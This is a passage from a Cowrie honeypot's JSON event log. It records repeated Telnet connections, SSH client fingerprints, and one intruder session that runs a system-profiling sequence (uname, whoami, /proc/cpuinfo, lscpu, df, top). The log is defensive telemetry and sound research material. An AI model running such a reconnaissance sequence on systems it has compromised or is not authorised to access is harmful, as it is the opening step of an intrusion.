","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:57.275375Z","src_ip":"213.209.159.158","session":"48f2c5c52139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.073155164718628,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:57.295267Z","src_ip":"188.208.141.113","session":"9b505d5d51d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63486886024475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:57.328951Z","src_ip":"162.55.233.176","session":"55ef8a42ce5a","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:57.677008Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:57.681175Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58970,"dst_ip":"159.203.135.109","dst_port":23,"session":"8aa7f67d2dd2","protocol":"telnet","message":"New connection: 162.55.233.176:58970 (159.203.135.109:23) [session: 8aa7f67d2dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:57.690078Z"}
{"eventid":"cowrie.session.closed","duration":36.18060231208801,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:57.697232Z","src_ip":"162.55.233.176","session":"aac0de8b5478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58982,"dst_ip":"159.203.135.109","dst_port":23,"session":"848ca12318e5","protocol":"telnet","message":"New connection: 162.55.233.176:58982 (159.203.135.109:23) [session: 848ca12318e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:57.701907Z"}
{"eventid":"cowrie.session.closed","duration":35.810511112213135,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:57.897248Z","src_ip":"162.55.233.176","session":"3d94ae8162b4","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:57.914057Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.03415012359619,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:57.940765Z","src_ip":"162.55.233.176","session":"fe04ae0439ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58990,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb8af1b1717a","protocol":"telnet","message":"New connection: 162.55.233.176:58990 (159.203.135.109:23) [session: eb8af1b1717a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:58.009629Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:58.416721Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:58.421393Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.13880467414856,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:58.431857Z","src_ip":"162.55.233.176","session":"b60b3898c8db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.149662256240845,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:58.475694Z","src_ip":"162.55.233.176","session":"90b8a473e7e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58992,"dst_ip":"159.203.135.109","dst_port":23,"session":"0384da2c6a8a","protocol":"telnet","message":"New connection: 162.55.233.176:58992 (159.203.135.109:23) [session: 0384da2c6a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:58.583063Z"}
{"eventid":"cowrie.session.closed","duration":31.668097496032715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:58.614582Z","src_ip":"162.55.233.176","session":"4b2045959609","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:58.655229Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58998,"dst_ip":"159.203.135.109","dst_port":23,"session":"d19936722f8c","protocol":"telnet","message":"New connection: 162.55.233.176:58998 (159.203.135.109:23) [session: d19936722f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:58.929268Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59004,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2d6989c1f4e","protocol":"telnet","message":"New connection: 162.55.233.176:59004 (159.203.135.109:23) [session: c2d6989c1f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:58.998696Z"}
{"eventid":"cowrie.session.closed","duration":31.150350332260132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:59.003983Z","src_ip":"162.55.233.176","session":"c550dec715b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.34454011917114,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:59.042094Z","src_ip":"162.55.233.176","session":"be3ccca10d9e","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:59.152812Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:59.156131Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59012,"dst_ip":"159.203.135.109","dst_port":23,"session":"e47d19e64d38","protocol":"telnet","message":"New connection: 162.55.233.176:59012 (159.203.135.109:23) [session: e47d19e64d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:59.204055Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:59.386553Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59020,"dst_ip":"159.203.135.109","dst_port":23,"session":"07cbfd8b146a","protocol":"telnet","message":"New connection: 162.55.233.176:59020 (159.203.135.109:23) [session: 07cbfd8b146a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:59.523471Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59034,"dst_ip":"159.203.135.109","dst_port":23,"session":"674261744152","protocol":"telnet","message":"New connection: 162.55.233.176:59034 (159.203.135.109:23) [session: 674261744152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:59.577501Z"}
{"eventid":"cowrie.session.closed","duration":31.241430044174194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:59.583699Z","src_ip":"162.55.233.176","session":"60a3f5721b89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59048,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef5fd9192ccb","protocol":"telnet","message":"New connection: 162.55.233.176:59048 (159.203.135.109:23) [session: ef5fd9192ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:59.717314Z"}
{"eventid":"cowrie.session.closed","duration":33.556421518325806,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:59.767995Z","src_ip":"162.55.233.176","session":"99aabf5ec51d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59060,"dst_ip":"159.203.135.109","dst_port":23,"session":"a728cfa57a26","protocol":"telnet","message":"New connection: 162.55.233.176:59060 (159.203.135.109:23) [session: a728cfa57a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:59.791917Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:59.881576Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:59.886032Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:00.118775Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59064,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1721a44c617","protocol":"telnet","message":"New connection: 162.55.233.176:59064 (159.203.135.109:23) [session: e1721a44c617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:00.493272Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:00.624939Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:00.629325Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.28188729286194,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:00.638306Z","src_ip":"162.55.233.176","session":"50df160562f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59066,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c6fad863916","protocol":"telnet","message":"New connection: 162.55.233.176:59066 (159.203.135.109:23) [session: 7c6fad863916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:00.653195Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:00.862670Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.842599630355835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:01.013971Z","src_ip":"162.55.233.176","session":"3988a385056c","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:01.364813Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:01.369627Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59090,"dst_ip":"159.203.135.109","dst_port":23,"session":"197a61f1a57f","protocol":"telnet","message":"New connection: 162.55.233.176:59090 (159.203.135.109:23) [session: 197a61f1a57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:01.417378Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59092,"dst_ip":"159.203.135.109","dst_port":23,"session":"0768a18b9e40","protocol":"telnet","message":"New connection: 162.55.233.176:59092 (159.203.135.109:23) [session: 0768a18b9e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:01.438417Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:01.607437Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.35359025001526,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:01.629036Z","src_ip":"162.55.233.176","session":"b9d762cfe479","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59096,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5bc58687f34","protocol":"telnet","message":"New connection: 162.55.233.176:59096 (159.203.135.109:23) [session: f5bc58687f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:01.709293Z"}
{"eventid":"cowrie.session.closed","duration":38.68565583229065,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:01.758446Z","src_ip":"162.55.233.176","session":"eb4bb1c1d1e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59112,"dst_ip":"159.203.135.109","dst_port":23,"session":"0749c1a786eb","protocol":"telnet","message":"New connection: 162.55.233.176:59112 (159.203.135.109:23) [session: 0749c1a786eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:01.797143Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":44459,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eb925360644","protocol":"ssh","message":"New connection: 103.170.173.26:44459 (159.203.135.109:22) [session: 6eb925360644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:01.821531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:01.827484Z","src_ip":"103.170.173.26","session":"6eb925360644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59126,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e7df5f93388","protocol":"telnet","message":"New connection: 162.55.233.176:59126 (159.203.135.109:23) [session: 1e7df5f93388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:01.982800Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:02.115438Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:02.119482Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:02.130054Z","src_ip":"103.170.173.26","session":"6eb925360644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.11461520195007,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:02.134762Z","src_ip":"162.55.233.176","session":"d3fef273ab6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865888833999634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:02.239545Z","src_ip":"162.55.233.176","session":"c468eb2043f4","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:02.354393Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.9866943359375,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:02.431485Z","src_ip":"162.55.233.176","session":"d27c24fc085f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59134,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ba624d52b32","protocol":"telnet","message":"New connection: 162.55.233.176:59134 (159.203.135.109:23) [session: 5ba624d52b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:02.480615Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59146,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa8cadce89ba","protocol":"telnet","message":"New connection: 162.55.233.176:59146 (159.203.135.109:23) [session: aa8cadce89ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:02.527871Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59156,"dst_ip":"159.203.135.109","dst_port":23,"session":"db9c5c8ad644","protocol":"telnet","message":"New connection: 162.55.233.176:59156 (159.203.135.109:23) [session: db9c5c8ad644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:02.600007Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59172,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0ebd14ee86b","protocol":"telnet","message":"New connection: 162.55.233.176:59172 (159.203.135.109:23) [session: c0ebd14ee86b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:02.684920Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59174,"dst_ip":"159.203.135.109","dst_port":23,"session":"30b238921b7b","protocol":"telnet","message":"New connection: 162.55.233.176:59174 (159.203.135.109:23) [session: 30b238921b7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:02.738407Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:02.851832Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:02.855973Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46600,"dst_ip":"159.203.135.109","dst_port":23,"session":"963512e80240","protocol":"telnet","message":"New connection: 162.55.233.176:46600 (159.203.135.109:23) [session: 963512e80240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:02.991746Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:03.092180Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.7","message":"Connection lost after 19.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:03.097840Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
